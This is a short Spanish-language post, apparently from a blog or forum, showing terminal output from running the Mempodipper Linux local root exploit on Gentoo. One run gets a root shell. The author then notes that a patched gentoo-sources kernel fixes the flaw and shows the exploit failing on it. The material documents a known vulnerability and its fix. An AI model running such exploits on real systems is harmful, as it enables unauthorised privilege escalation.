bug gentoozo

[dexter4@Kagamine:~]% cp memprodiper memprodiper.c
[dexter4@Kagamine:~]% rm memprodiper
[dexter4@Kagamine:~]% gcc memprodiper.c -o memprodiper
[dexter4@Kagamine:~]% ./memprodiper
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049b68.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/9700/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049b58.
[+] Executing su with shellcode.
sh-4.1# whoami
root
sh-4.1# exit
exit

en Gentoo la version gentoo-sources-3.2.1-r2 soluciona el problema de seguridad >_<

[dexter4@Kagamine:~]% ./memprodiper
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049b68.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3617/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049b58.
[+] Executing su with shellcode.
[dexter4@Kagamine:~]% uname -a
Linux Kagamine 3.2.1-gentoo-r2 #1 PREEMPT Wed Jan 25 11:13:29 CLST 2012 i686 Intel(R) Pentium(R) 4 CPU 1.60GHz GenuineIntel GNU/Linux

lero lero, ahora no funciona ;)